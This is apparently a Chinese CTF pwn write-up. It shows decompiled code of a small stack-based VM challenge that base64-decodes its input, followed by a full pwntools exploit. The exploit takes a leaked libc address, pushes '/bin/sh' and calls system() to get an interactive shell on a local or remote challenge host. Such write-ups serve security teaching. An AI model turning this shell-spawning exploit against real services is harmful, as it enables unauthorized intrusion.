关键函数
_QWORD *__fastcall sub_F7D(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, unsigned __int64 opcode_val, char op1_val, __int64 op2_val)
{
_QWORD *result; // rax
void (__fastcall *v10)(_QWORD, __int64); // rax
void (__fastcall *v11)(_QWORD, __int64); // rax
__int64 (__fastcall *v12)(char *, __int64); // rax
result = (_QWORD *)opcode_val;
if ( opcode_val == 0x10 )
{
ebp_addr[esp_index_value] = op2_val;
result = (_QWORD *)(esp_index_value++ + 1); // push
}
else if ( opcode_val > 0x10 )
{
if ( opcode_val == 0x20 )
{
--esp_index_value;
result = ebp_addr;
ebp_addr[esp_index_value] = 0LL; // push 0
}
else if ( opcode_val == 0x40 )
{
if ( esp_index_value == 2 )
{
v10 = (void (__fastcall *)(_QWORD, __int64))run_symbol(&op1_val);
a2 = ebp_addr[esp_index_value - 1];
v10(ebp_addr[esp_index_value - 2], a2); // 运行函数,栈传参
}
if ( esp_index_value == 1 )
{
v11 = (void (__fastcall *)(_QWORD, __int64))run_symbol(&op1_val);
v11(ebp_addr[esp_index_value - 1], a2);
}
result = (_QWORD *)esp_index_value;
if ( !esp_index_value )
{
v12 = (__int64 (__fastcall *)(char *, __int64))run_symbol(&op1_val);
result = (_QWORD *)v12(&op1_val, a2);
}
}
}
return result;
}
只有一个栈,栈传参,直接运行函数指令格式为opcode+op1+op2
但是读入的数据会进行一个base64解密
pwn和加密算法结合起来
exp也很简单
#coding=utf-8
from pwn import *
file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
import base64
# context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0x121c)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('47.111.104.169', 57404)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
def debug_1(addr,PIE=True):
debug_str = ""
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
else:
for i in addr:
text_base=0
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
def getCmd(opcode,op1,op2):
return p64(opcode)+p64(op1)+p64(op2)
def Push(op2):
return getCmd(0x10,0,op2)
def RunFunction(name):
return p64(0x40)+name.ljust(8,"\x00")+p64(0)
debug_1([0x0000000000000FA9])
p.recvuntil("0x",drop=True)
info=p.recv(12) #12是64位libc地址的长度 16是64位canary的长度 (不算0x)
result=int(info,16)
print("leak str to int : ",hex(result))
libc.address=result
payload=Push(libc.search("/bin/sh").next())+Push(libc.search("/bin/sh").next())+RunFunction("system")
p.sendlineafter("code:",base64.b64encode(payload))
p.interactive()